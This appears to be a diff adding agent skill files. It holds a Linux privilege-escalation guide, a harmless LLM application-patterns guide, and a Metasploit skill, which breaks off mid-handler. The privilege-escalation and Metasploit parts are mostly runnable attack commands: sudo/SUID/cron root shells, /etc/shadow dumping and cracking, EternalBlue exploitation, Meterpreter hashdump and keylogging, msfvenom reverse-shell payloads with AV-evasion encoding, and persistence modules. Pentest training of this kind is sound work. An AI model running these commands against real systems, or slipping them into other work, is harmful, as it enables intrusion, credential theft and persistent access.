+## Constraints and Guardrails
+
+### Operational Boundaries
+- Verify kernel exploits in test environment before production use
+- Failed kernel exploits may crash the system
+- Document all changes made during privilege escalation
+- Maintain access persistence only as authorized
+
+### Technical Limitations
+- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
+- AppArmor/SELinux may restrict exploitation techniques
+- Container environments limit kernel-level exploits
+- Hardened systems may have restricted sudo configurations
+
+### Legal and Ethical Requirements
+- Written authorization required before testing
+- Stay within defined scope boundaries
+- Report critical findings immediately
+- Do not access data beyond scope requirements
+
+## Examples
+
+### Example 1: Sudo to Root via find
+
+**Scenario**: User has sudo rights for find command
+
+```bash
+$ sudo -l
+User user may run the following commands:
+    (root) NOPASSWD: /usr/bin/find
+
+$ sudo find . -exec /bin/bash \; -quit
+# id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+### Example 2: SUID base64 for Shadow Access
+
+**Scenario**: base64 binary has SUID bit set
+
+```bash
+$ find / -perm -u=s -type f 2>/dev/null | grep base64
+/usr/bin/base64
+
+$ base64 /etc/shadow | base64 -d
+root:$6$xyz...:18000:0:99999:7:::
+
+# Crack offline with john
+$ john --wordlist=rockyou.txt shadow.txt
+```
+
+### Example 3: Cron Job Script Hijacking
+
+**Scenario**: Root cron job executes writable script
+
+```bash
+$ cat /etc/crontab
+* * * * * root /opt/scripts/backup.sh
+
+$ ls -la /opt/scripts/backup.sh
+-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
+
+$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
+
+# Wait 1 minute
+$ /tmp/bash -p
+# id
+uid=1000(user) gid=1000(user) euid=0(root)
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
+| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
+| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
+| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |

skills/llm-app-patterns/SKILL.md

@@ -0,0 +1,760 @@
+---
+name: llm-app-patterns
+description: "Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability."
+---
+
+# 🤖 LLM Application Patterns
+
+> Production-ready patterns for building LLM applications, inspired by [Dify](https://github.com/langgenius/dify) and industry best practices.
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Designing LLM-powered applications
+- Implementing RAG (Retrieval-Augmented Generation)
+- Building AI agents with tools
+- Setting up LLMOps monitoring
+- Choosing between agent architectures
+
+---
+
+## 1. RAG Pipeline Architecture
+
+### Overview
+
+RAG (Retrieval-Augmented Generation) grounds LLM responses in your data.
+
+```
+┌─────────────┐     ┌─────────────┐     ┌─────────────┐
+│   Ingest    │────▶│   Retrieve  │────▶│   Generate  │
+│  Documents  │     │   Context   │     │   Response  │
+└─────────────┘     └─────────────┘     └─────────────┘
+      │                   │                   │
+      ▼                   ▼                   ▼
+ ┌─────────┐       ┌───────────┐       ┌───────────┐
+ │ Chunking│       │  Vector   │       │    LLM    │
+ │Embedding│       │  Search   │       │  + Context│
+ └─────────┘       └───────────┘       └───────────┘
+```
+
+### 1.1 Document Ingestion
+
+```python
+# Chunking strategies
+class ChunkingStrategy:
+    # Fixed-size chunks (simple but may break context)
+    FIXED_SIZE = "fixed_size"  # e.g., 512 tokens
+
+    # Semantic chunking (preserves meaning)
+    SEMANTIC = "semantic"      # Split on paragraphs/sections
+
+    # Recursive splitting (tries multiple separators)
+    RECURSIVE = "recursive"    # ["\n\n", "\n", " ", ""]
+
+    # Document-aware (respects structure)
+    DOCUMENT_AWARE = "document_aware"  # Headers, lists, etc.
+
+# Recommended settings
+CHUNK_CONFIG = {
+    "chunk_size": 512,       # tokens
+    "chunk_overlap": 50,     # token overlap between chunks
+    "separators": ["\n\n", "\n", ". ", " "],
+}
+```
+
+### 1.2 Embedding & Storage
+
+```python
+# Vector database selection
+VECTOR_DB_OPTIONS = {
+    "pinecone": {
+        "use_case": "Production, managed service",
+        "scale": "Billions of vectors",
+        "features": ["Hybrid search", "Metadata filtering"]
+    },
+    "weaviate": {
+        "use_case": "Self-hosted, multi-modal",
+        "scale": "Millions of vectors",
+        "features": ["GraphQL API", "Modules"]
+    },
+    "chromadb": {
+        "use_case": "Development, prototyping",
+        "scale": "Thousands of vectors",
+        "features": ["Simple API", "In-memory option"]
+    },
+    "pgvector": {
+        "use_case": "Existing Postgres infrastructure",
+        "scale": "Millions of vectors",
+        "features": ["SQL integration", "ACID compliance"]
+    }
+}
+
+# Embedding model selection
+EMBEDDING_MODELS = {
+    "openai/text-embedding-3-small": {
+        "dimensions": 1536,
+        "cost": "$0.02/1M tokens",
+        "quality": "Good for most use cases"
+    },
+    "openai/text-embedding-3-large": {
+        "dimensions": 3072,
+        "cost": "$0.13/1M tokens",
+        "quality": "Best for complex queries"
+    },
+    "local/bge-large": {
+        "dimensions": 1024,
+        "cost": "Free (compute only)",
+        "quality": "Comparable to OpenAI small"
+    }
+}
+```
+
+### 1.3 Retrieval Strategies
+
+```python
+# Basic semantic search
+def semantic_search(query: str, top_k: int = 5):
+    query_embedding = embed(query)
+    results = vector_db.similarity_search(
+        query_embedding,
+        top_k=top_k
+    )
+    return results
+
+# Hybrid search (semantic + keyword)
+def hybrid_search(query: str, top_k: int = 5, alpha: float = 0.5):
+    """
+    alpha=1.0: Pure semantic
+    alpha=0.0: Pure keyword (BM25)
+    alpha=0.5: Balanced
+    """
+    semantic_results = vector_db.similarity_search(query)
+    keyword_results = bm25_search(query)
+
+    # Reciprocal Rank Fusion
+    return rrf_merge(semantic_results, keyword_results, alpha)
+
+# Multi-query retrieval
+def multi_query_retrieval(query: str):
+    """Generate multiple query variations for better recall"""
+    queries = llm.generate_query_variations(query, n=3)
+    all_results = []
+    for q in queries:
+        all_results.extend(semantic_search(q))
+    return deduplicate(all_results)
+
+# Contextual compression
+def compressed_retrieval(query: str):
+    """Retrieve then compress to relevant parts only"""
+    docs = semantic_search(query, top_k=10)
+    compressed = llm.extract_relevant_parts(docs, query)
+    return compressed
+```
+
+### 1.4 Generation with Context
+
+```python
+RAG_PROMPT_TEMPLATE = """
+Answer the user's question based ONLY on the following context.
+If the context doesn't contain enough information, say "I don't have enough information to answer that."
+
+Context:
+{context}
+
+Question: {question}
+
+Answer:"""
+
+def generate_with_rag(question: str):
+    # Retrieve
+    context_docs = hybrid_search(question, top_k=5)
+    context = "\n\n".join([doc.content for doc in context_docs])
+
+    # Generate
+    prompt = RAG_PROMPT_TEMPLATE.format(
+        context=context,
+        question=question
+    )
+
+    response = llm.generate(prompt)
+
+    # Return with citations
+    return {
+        "answer": response,
+        "sources": [doc.metadata for doc in context_docs]
+    }
+```
+
+---
+
+## 2. Agent Architectures
+
+### 2.1 ReAct Pattern (Reasoning + Acting)
+
+```
+Thought: I need to search for information about X
+Action: search("X")
+Observation: [search results]
+Thought: Based on the results, I should...
+Action: calculate(...)
+Observation: [calculation result]
+Thought: I now have enough information
+Action: final_answer("The answer is...")
+```
+
+```python
+REACT_PROMPT = """
+You are an AI assistant that can use tools to answer questions.
+
+Available tools:
+{tools_description}
+
+Use this format:
+Thought: [your reasoning about what to do next]
+Action: [tool_name(arguments)]
+Observation: [tool result - this will be filled in]
+... (repeat Thought/Action/Observation as needed)
+Thought: I have enough information to answer
+Final Answer: [your final response]
+
+Question: {question}
+"""
+
+class ReActAgent:
+    def __init__(self, tools: list, llm):
+        self.tools = {t.name: t for t in tools}
+        self.llm = llm
+        self.max_iterations = 10
+
+    def run(self, question: str) -> str:
+        prompt = REACT_PROMPT.format(
+            tools_description=self._format_tools(),
+            question=question
+        )
+
+        for _ in range(self.max_iterations):
+            response = self.llm.generate(prompt)
+
+            if "Final Answer:" in response:
+                return self._extract_final_answer(response)
+
+            action = self._parse_action(response)
+            observation = self._execute_tool(action)
+            prompt += f"\nObservation: {observation}\n"
+
+        return "Max iterations reached"
+```
+
+### 2.2 Function Calling Pattern
+
+```python
+# Define tools as functions with schemas
+TOOLS = [
+    {
+        "name": "search_web",
+        "description": "Search the web for current information",
+        "parameters": {
+            "type": "object",
+            "properties": {
+                "query": {
+                    "type": "string",
+                    "description": "Search query"
+                }
+            },
+            "required": ["query"]
+        }
+    },
+    {
+        "name": "calculate",
+        "description": "Perform mathematical calculations",
+        "parameters": {
+            "type": "object",
+            "properties": {
+                "expression": {
+                    "type": "string",
+                    "description": "Math expression to evaluate"
+                }
+            },
+            "required": ["expression"]
+        }
+    }
+]
+
+class FunctionCallingAgent:
+    def run(self, question: str) -> str:
+        messages = [{"role": "user", "content": question}]
+
+        while True:
+            response = self.llm.chat(
+                messages=messages,
+                tools=TOOLS,
+                tool_choice="auto"
+            )
+
+            if response.tool_calls:
+                for tool_call in response.tool_calls:
+                    result = self._execute_tool(
+                        tool_call.name,
+                        tool_call.arguments
+                    )
+                    messages.append({
+                        "role": "tool",
+                        "tool_call_id": tool_call.id,
+                        "content": str(result)
+                    })
+            else:
+                return response.content
+```
+
+### 2.3 Plan-and-Execute Pattern
+
+```python
+class PlanAndExecuteAgent:
+    """
+    1. Create a plan (list of steps)
+    2. Execute each step
+    3. Replan if needed
+    """
+
+    def run(self, task: str) -> str:
+        # Planning phase
+        plan = self.planner.create_plan(task)
+        # Returns: ["Step 1: ...", "Step 2: ...", ...]
+
+        results = []
+        for step in plan:
+            # Execute each step
+            result = self.executor.execute(step, context=results)
+            results.append(result)
+
+            # Check if replan needed
+            if self._needs_replan(task, results):
+                new_plan = self.planner.replan(
+                    task,
+                    completed=results,
+                    remaining=plan[len(results):]
+                )
+                plan = new_plan
+
+        # Synthesize final answer
+        return self.synthesizer.summarize(task, results)
+```
+
+### 2.4 Multi-Agent Collaboration
+
+```python
+class AgentTeam:
+    """
+    Specialized agents collaborating on complex tasks
+    """
+
+    def __init__(self):
+        self.agents = {
+            "researcher": ResearchAgent(),
+            "analyst": AnalystAgent(),
+            "writer": WriterAgent(),
+            "critic": CriticAgent()
+        }
+        self.coordinator = CoordinatorAgent()
+
+    def solve(self, task: str) -> str:
+        # Coordinator assigns subtasks
+        assignments = self.coordinator.decompose(task)
+
+        results = {}
+        for assignment in assignments:
+            agent = self.agents[assignment.agent]
+            result = agent.execute(
+                assignment.subtask,
+                context=results
+            )
+            results[assignment.id] = result
+
+        # Critic reviews
+        critique = self.agents["critic"].review(results)
+
+        if critique.needs_revision:
+            # Iterate with feedback
+            return self.solve_with_feedback(task, results, critique)
+
+        return self.coordinator.synthesize(results)
+```
+
+---
+
+## 3. Prompt IDE Patterns
+
+### 3.1 Prompt Templates with Variables
+
+```python
+class PromptTemplate:
+    def __init__(self, template: str, variables: list[str]):
+        self.template = template
+        self.variables = variables
+
+    def format(self, **kwargs) -> str:
+        # Validate all variables provided
+        missing = set(self.variables) - set(kwargs.keys())
+        if missing:
+            raise ValueError(f"Missing variables: {missing}")
+
+        return self.template.format(**kwargs)
+
+    def with_examples(self, examples: list[dict]) -> str:
+        """Add few-shot examples"""
+        example_text = "\n\n".join([
+            f"Input: {ex['input']}\nOutput: {ex['output']}"
+            for ex in examples
+        ])
+        return f"{example_text}\n\n{self.template}"
+
+# Usage
+summarizer = PromptTemplate(
+    template="Summarize the following text in {style} style:\n\n{text}",
+    variables=["style", "text"]
+)
+
+prompt = summarizer.format(
+    style="professional",
+    text="Long article content..."
+)
+```
+
+### 3.2 Prompt Versioning & A/B Testing
+
+```python
+class PromptRegistry:
+    def __init__(self, db):
+        self.db = db
+
+    def register(self, name: str, template: str, version: str):
+        """Store prompt with version"""
+        self.db.save({
+            "name": name,
+            "template": template,
+            "version": version,
+            "created_at": datetime.now(),
+            "metrics": {}
+        })
+
+    def get(self, name: str, version: str = "latest") -> str:
+        """Retrieve specific version"""
+        return self.db.get(name, version)
+
+    def ab_test(self, name: str, user_id: str) -> str:
+        """Return variant based on user bucket"""
+        variants = self.db.get_all_versions(name)
+        bucket = hash(user_id) % len(variants)
+        return variants[bucket]
+
+    def record_outcome(self, prompt_id: str, outcome: dict):
+        """Track prompt performance"""
+        self.db.update_metrics(prompt_id, outcome)
+```
+
+### 3.3 Prompt Chaining
+
+```python
+class PromptChain:
+    """
+    Chain prompts together, passing output as input to next
+    """
+
+    def __init__(self, steps: list[dict]):
+        self.steps = steps
+
+    def run(self, initial_input: str) -> dict:
+        context = {"input": initial_input}
+        results = []
+
+        for step in self.steps:
+            prompt = step["prompt"].format(**context)
+            output = llm.generate(prompt)
+
+            # Parse output if needed
+            if step.get("parser"):
+                output = step["parser"](output)
+
+            context[step["output_key"]] = output
+            results.append({
+                "step": step["name"],
+                "output": output
+            })
+
+        return {
+            "final_output": context[self.steps[-1]["output_key"]],
+            "intermediate_results": results
+        }
+
+# Example: Research → Analyze → Summarize
+chain = PromptChain([
+    {
+        "name": "research",
+        "prompt": "Research the topic: {input}",
+        "output_key": "research"
+    },
+    {
+        "name": "analyze",
+        "prompt": "Analyze these findings:\n{research}",
+        "output_key": "analysis"
+    },
+    {
+        "name": "summarize",
+        "prompt": "Summarize this analysis in 3 bullet points:\n{analysis}",
+        "output_key": "summary"
+    }
+])
+```
+
+---
+
+## 4. LLMOps & Observability
+
+### 4.1 Metrics to Track
+
+```python
+LLM_METRICS = {
+    # Performance
+    "latency_p50": "50th percentile response time",
+    "latency_p99": "99th percentile response time",
+    "tokens_per_second": "Generation speed",
+
+    # Quality
+    "user_satisfaction": "Thumbs up/down ratio",
+    "task_completion": "% tasks completed successfully",
+    "hallucination_rate": "% responses with factual errors",
+
+    # Cost
+    "cost_per_request": "Average $ per API call",
+    "tokens_per_request": "Average tokens used",
+    "cache_hit_rate": "% requests served from cache",
+
+    # Reliability
+    "error_rate": "% failed requests",
+    "timeout_rate": "% requests that timed out",
+    "retry_rate": "% requests needing retry"
+}
+```
+
+### 4.2 Logging & Tracing
+
+```python
+import logging
+from opentelemetry import trace
+
+tracer = trace.get_tracer(__name__)
+
+class LLMLogger:
+    def log_request(self, request_id: str, data: dict):
+        """Log LLM request for debugging and analysis"""
+        log_entry = {
+            "request_id": request_id,
+            "timestamp": datetime.now().isoformat(),
+            "model": data["model"],
+            "prompt": data["prompt"][:500],  # Truncate for storage
+            "prompt_tokens": data["prompt_tokens"],
+            "temperature": data.get("temperature", 1.0),
+            "user_id": data.get("user_id"),
+        }
+        logging.info(f"LLM_REQUEST: {json.dumps(log_entry)}")
+
+    def log_response(self, request_id: str, data: dict):
+        """Log LLM response"""
+        log_entry = {
+            "request_id": request_id,
+            "completion_tokens": data["completion_tokens"],
+            "total_tokens": data["total_tokens"],
+            "latency_ms": data["latency_ms"],
+            "finish_reason": data["finish_reason"],
+            "cost_usd": self._calculate_cost(data),
+        }
+        logging.info(f"LLM_RESPONSE: {json.dumps(log_entry)}")
+
+# Distributed tracing
+@tracer.start_as_current_span("llm_call")
+def call_llm(prompt: str) -> str:
+    span = trace.get_current_span()
+    span.set_attribute("prompt.length", len(prompt))
+
+    response = llm.generate(prompt)
+
+    span.set_attribute("response.length", len(response))
+    span.set_attribute("tokens.total", response.usage.total_tokens)
+
+    return response.content
+```
+
+### 4.3 Evaluation Framework
+
+```python
+class LLMEvaluator:
+    """
+    Evaluate LLM outputs for quality
+    """
+
+    def evaluate_response(self,
+                          question: str,
+                          response: str,
+                          ground_truth: str = None) -> dict:
+        scores = {}
+
+        # Relevance: Does it answer the question?
+        scores["relevance"] = self._score_relevance(question, response)
+
+        # Coherence: Is it well-structured?
+        scores["coherence"] = self._score_coherence(response)
+
+        # Groundedness: Is it based on provided context?
+        scores["groundedness"] = self._score_groundedness(response)
+
+        # Accuracy: Does it match ground truth?
+        if ground_truth:
+            scores["accuracy"] = self._score_accuracy(response, ground_truth)
+
+        # Harmfulness: Is it safe?
+        scores["safety"] = self._score_safety(response)
+
+        return scores
+
+    def run_benchmark(self, test_cases: list[dict]) -> dict:
+        """Run evaluation on test set"""
+        results = []
+        for case in test_cases:
+            response = llm.generate(case["prompt"])
+            scores = self.evaluate_response(
+                question=case["prompt"],
+                response=response,
+                ground_truth=case.get("expected")
+            )
+            results.append(scores)
+
+        return self._aggregate_scores(results)
+```
+
+---
+
+## 5. Production Patterns
+
+### 5.1 Caching Strategy
+
+```python
+import hashlib
+from functools import lru_cache
+
+class LLMCache:
+    def __init__(self, redis_client, ttl_seconds=3600):
+        self.redis = redis_client
+        self.ttl = ttl_seconds
+
+    def _cache_key(self, prompt: str, model: str, **kwargs) -> str:
+        """Generate deterministic cache key"""
+        content = f"{model}:{prompt}:{json.dumps(kwargs, sort_keys=True)}"
+        return hashlib.sha256(content.encode()).hexdigest()
+
+    def get_or_generate(self, prompt: str, model: str, **kwargs) -> str:
+        key = self._cache_key(prompt, model, **kwargs)
+
+        # Check cache
+        cached = self.redis.get(key)
+        if cached:
+            return cached.decode()
+
+        # Generate
+        response = llm.generate(prompt, model=model, **kwargs)
+
+        # Cache (only cache deterministic outputs)
+        if kwargs.get("temperature", 1.0) == 0:
+            self.redis.setex(key, self.ttl, response)
+
+        return response
+```
+
+### 5.2 Rate Limiting & Retry
+
+```python
+import time
+from tenacity import retry, wait_exponential, stop_after_attempt
+
+class RateLimiter:
+    def __init__(self, requests_per_minute: int):
+        self.rpm = requests_per_minute
+        self.timestamps = []
+
+    def acquire(self):
+        """Wait if rate limit would be exceeded"""
+        now = time.time()
+
+        # Remove old timestamps
+        self.timestamps = [t for t in self.timestamps if now - t < 60]
+
+        if len(self.timestamps) >= self.rpm:
+            sleep_time = 60 - (now - self.timestamps[0])
+            time.sleep(sleep_time)
+
+        self.timestamps.append(time.time())
+
+# Retry with exponential backoff
+@retry(
+    wait=wait_exponential(multiplier=1, min=4, max=60),
+    stop=stop_after_attempt(5)
+)
+def call_llm_with_retry(prompt: str) -> str:
+    try:
+        return llm.generate(prompt)
+    except RateLimitError:
+        raise  # Will trigger retry
+    except APIError as e:
+        if e.status_code >= 500:
+            raise  # Retry server errors
+        raise  # Don't retry client errors
+```
+
+### 5.3 Fallback Strategy
+
+```python
+class LLMWithFallback:
+    def __init__(self, primary: str, fallbacks: list[str]):
+        self.primary = primary
+        self.fallbacks = fallbacks
+
+    def generate(self, prompt: str, **kwargs) -> str:
+        models = [self.primary] + self.fallbacks
+
+        for model in models:
+            try:
+                return llm.generate(prompt, model=model, **kwargs)
+            except (RateLimitError, APIError) as e:
+                logging.warning(f"Model {model} failed: {e}")
+                continue
+
+        raise AllModelsFailedError("All models exhausted")
+
+# Usage
+llm_client = LLMWithFallback(
+    primary="gpt-4-turbo",
+    fallbacks=["gpt-3.5-turbo", "claude-3-sonnet"]
+)
+```
+
+---
+
+## Architecture Decision Matrix
+
+| Pattern              | Use When         | Complexity | Cost      |
+| :------------------- | :--------------- | :--------- | :-------- |
+| **Simple RAG**       | FAQ, docs search | Low        | Low       |
+| **Hybrid RAG**       | Mixed queries    | Medium     | Medium    |
+| **ReAct Agent**      | Multi-step tasks | Medium     | Medium    |
+| **Function Calling** | Structured tools | Low        | Low       |
+| **Plan-Execute**     | Complex tasks    | High       | High      |
+| **Multi-Agent**      | Research tasks   | Very High  | Very High |
+
+---
+
+## Resources
+
+- [Dify Platform](https://github.com/langgenius/dify)
+- [LangChain Docs](https://python.langchain.com/)
+- [LlamaIndex](https://www.llamaindex.ai/)
+- [Anthropic Cookbook](https://github.com/anthropics/anthropic-cookbook)

skills/metasploit-framework/SKILL.md

@@ -0,0 +1,475 @@
+---
+name: Metasploit Framework
+description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
+---
+
+# Metasploit Framework
+
+## Purpose
+
+Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Metasploit comes pre-installed on Kali Linux
+# For other systems:
+curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
+chmod 755 msfinstall
+./msfinstall
+
+# Start PostgreSQL for database support
+sudo systemctl start postgresql
+sudo msfdb init
+```
+
+### Required Knowledge
+- Network and system fundamentals
+- Understanding of vulnerabilities and exploits
+- Basic programming concepts
+- Target enumeration techniques
+
+### Required Access
+- Written authorization for testing
+- Network access to target systems
+- Understanding of scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Exploitation Evidence** - Screenshots and logs of successful compromises
+2. **Session Logs** - Command history and extracted data
+3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
+4. **Post-Exploitation Artifacts** - Credentials, files, and system information
+
+## Core Workflow
+
+### Phase 1: MSFConsole Basics
+
+Launch and navigate the Metasploit console:
+
+```bash
+# Start msfconsole
+msfconsole
+
+# Quiet mode (skip banner)
+msfconsole -q
+
+# Basic navigation commands
+msf6 > help                    # Show all commands
+msf6 > search [term]           # Search modules
+msf6 > use [module]            # Select module
+msf6 > info                    # Show module details
+msf6 > show options            # Display required options
+msf6 > set [OPTION] [value]    # Configure option
+msf6 > run / exploit           # Execute module
+msf6 > back                    # Return to main console
+msf6 > exit                    # Exit msfconsole
+```
+
+### Phase 2: Module Types
+
+Understand the different module categories:
+
+```bash
+# 1. Exploit Modules - Target specific vulnerabilities
+msf6 > show exploits
+msf6 > use exploit/windows/smb/ms17_010_eternalblue
+
+# 2. Payload Modules - Code executed after exploitation
+msf6 > show payloads
+msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+
+# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
+msf6 > show auxiliary
+msf6 > use auxiliary/scanner/smb/smb_version
+
+# 4. Post-Exploitation Modules - Actions after compromise
+msf6 > show post
+msf6 > use post/windows/gather/hashdump
+
+# 5. Encoders - Obfuscate payloads
+msf6 > show encoders
+msf6 > set ENCODER x86/shikata_ga_nai
+
+# 6. Nops - No-operation padding for buffer overflows
+msf6 > show nops
+
+# 7. Evasion - Bypass security controls
+msf6 > show evasion
+```
+
+### Phase 3: Searching for Modules
+
+Find appropriate modules for targets:
+
+```bash
+# Search by name
+msf6 > search eternalblue
+
+# Search by CVE
+msf6 > search cve:2017-0144
+
+# Search by platform
+msf6 > search platform:windows type:exploit
+
+# Search by type and keyword
+msf6 > search type:auxiliary smb
+
+# Filter by rank (excellent, great, good, normal, average, low, manual)
+msf6 > search rank:excellent
+
+# Combined search
+msf6 > search type:exploit platform:linux apache
+
+# View search results columns:
+# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
+```
+
+### Phase 4: Configuring Exploits
+
+Set up an exploit for execution:
+
+```bash
+# Select exploit module
+msf6 > use exploit/windows/smb/ms17_010_eternalblue
+
+# View required options
+msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
+
+# Set target host
+msf6 exploit(...) > set RHOSTS 192.168.1.100
+
+# Set target port (if different from default)
+msf6 exploit(...) > set RPORT 445
+
+# View compatible payloads
+msf6 exploit(...) > show payloads
+
+# Set payload
+msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+
+# Set local host for reverse connection
+msf6 exploit(...) > set LHOST 192.168.1.50
+msf6 exploit(...) > set LPORT 4444
+
+# View all options again to verify
+msf6 exploit(...) > show options
+
+# Check if target is vulnerable (if supported)
+msf6 exploit(...) > check
+
+# Execute exploit
+msf6 exploit(...) > exploit
+# or
+msf6 exploit(...) > run
+```
+
+### Phase 5: Payload Types
+
+Select appropriate payload for the situation:
+
+```bash
+# Singles - Self-contained, no staging
+windows/shell_reverse_tcp
+linux/x86/shell_bind_tcp
+
+# Stagers - Small payload that downloads larger stage
+windows/meterpreter/reverse_tcp
+linux/x86/meterpreter/bind_tcp
+
+# Stages - Downloaded by stager, provides full functionality
+# Meterpreter, VNC, shell
+
+# Payload naming convention:
+# [platform]/[architecture]/[payload_type]/[connection_type]
+# Examples:
+windows/x64/meterpreter/reverse_tcp
+linux/x86/shell/bind_tcp
+php/meterpreter/reverse_tcp
+java/meterpreter/reverse_https
+android/meterpreter/reverse_tcp
+```
+
+### Phase 6: Meterpreter Session
+
+Work with Meterpreter post-exploitation:
+
+```bash
+# After successful exploitation, you get Meterpreter prompt
+meterpreter >
+
+# System Information
+meterpreter > sysinfo
+meterpreter > getuid
+meterpreter > getpid
+
+# File System Operations
+meterpreter > pwd
+meterpreter > ls
+meterpreter > cd C:\\Users
+meterpreter > download file.txt /tmp/
+meterpreter > upload /tmp/tool.exe C:\\
+
+# Process Management
+meterpreter > ps
+meterpreter > migrate [PID]
+meterpreter > kill [PID]
+
+# Networking
+meterpreter > ipconfig
+meterpreter > netstat
+meterpreter > route
+meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
+
+# Privilege Escalation
+meterpreter > getsystem
+meterpreter > getprivs
+
+# Credential Harvesting
+meterpreter > hashdump
+meterpreter > run post/windows/gather/credentials/credential_collector
+
+# Screenshots and Keylogging
+meterpreter > screenshot
+meterpreter > keyscan_start
+meterpreter > keyscan_dump
+meterpreter > keyscan_stop
+
+# Shell Access
+meterpreter > shell
+C:\Windows\system32> whoami
+C:\Windows\system32> exit
+meterpreter >
+
+# Background Session
+meterpreter > background
+msf6 exploit(...) > sessions -l
+msf6 exploit(...) > sessions -i 1
+```
+
+### Phase 7: Auxiliary Modules
+
+Use auxiliary modules for reconnaissance:
+
+```bash
+# SMB Version Scanner
+msf6 > use auxiliary/scanner/smb/smb_version
+msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
+msf6 auxiliary(...) > run
+
+# Port Scanner
+msf6 > use auxiliary/scanner/portscan/tcp
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > set PORTS 1-1000
+msf6 auxiliary(...) > run
+
+# SSH Version Scanner
+msf6 > use auxiliary/scanner/ssh/ssh_version
+msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
+msf6 auxiliary(...) > run
+
+# FTP Anonymous Login
+msf6 > use auxiliary/scanner/ftp/anonymous
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > run
+
+# HTTP Directory Scanner
+msf6 > use auxiliary/scanner/http/dir_scanner
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > run
+
+# Brute Force Modules
+msf6 > use auxiliary/scanner/ssh/ssh_login
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
+msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
+msf6 auxiliary(...) > run
+```
+
+### Phase 8: Post-Exploitation Modules
+
+Run post modules on active sessions:
+
+```bash
+# List sessions
+msf6 > sessions -l
+
+# Run post module on specific session
+msf6 > use post/windows/gather/hashdump
+msf6 post(windows/gather/hashdump) > set SESSION 1
+msf6 post(...) > run
+
+# Or run directly from Meterpreter
+meterpreter > run post/windows/gather/hashdump
+
+# Common Post Modules
+# Credential Gathering
+post/windows/gather/credentials/credential_collector
+post/windows/gather/lsa_secrets
+post/windows/gather/cachedump
+post/multi/gather/ssh_creds
+
+# System Enumeration
+post/windows/gather/enum_applications
+post/windows/gather/enum_logged_on_users
+post/windows/gather/enum_shares
+post/linux/gather/enum_configs
+
+# Privilege Escalation
+post/windows/escalate/getsystem
+post/multi/recon/local_exploit_suggester
+
+# Persistence
+post/windows/manage/persistence_exe
+post/linux/manage/sshkey_persistence
+
+# Pivoting
+post/multi/manage/autoroute
+```
+
+### Phase 9: Payload Generation with msfvenom
+
+Create standalone payloads:
+
+```bash
+# Basic Windows reverse shell
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
+
+# PHP reverse shell
+msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
+
+# Python reverse shell
+msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
+
+# PowerShell payload
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
+
+# ASP web shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
+
+# WAR file (Tomcat)
+msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
+
+# Android APK
+msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
+
+# Encoded payload (evade AV)
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
+
+# List available formats
+msfvenom --list formats
+
+# List available encoders
+msfvenom --list encoders
+```
+
+### Phase 10: Setting Up Handlers
+
+Configure listener for incoming connections:
+
+```bash
+# Manual handler setup
+msf6 > use exploit/multi/handler
+msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/handler) > set LHOST 192.168.1.50
+msf6 exploit(multi/handler) > set LPORT 4444
+msf6 exploit(multi/handler) > exploit -j
+
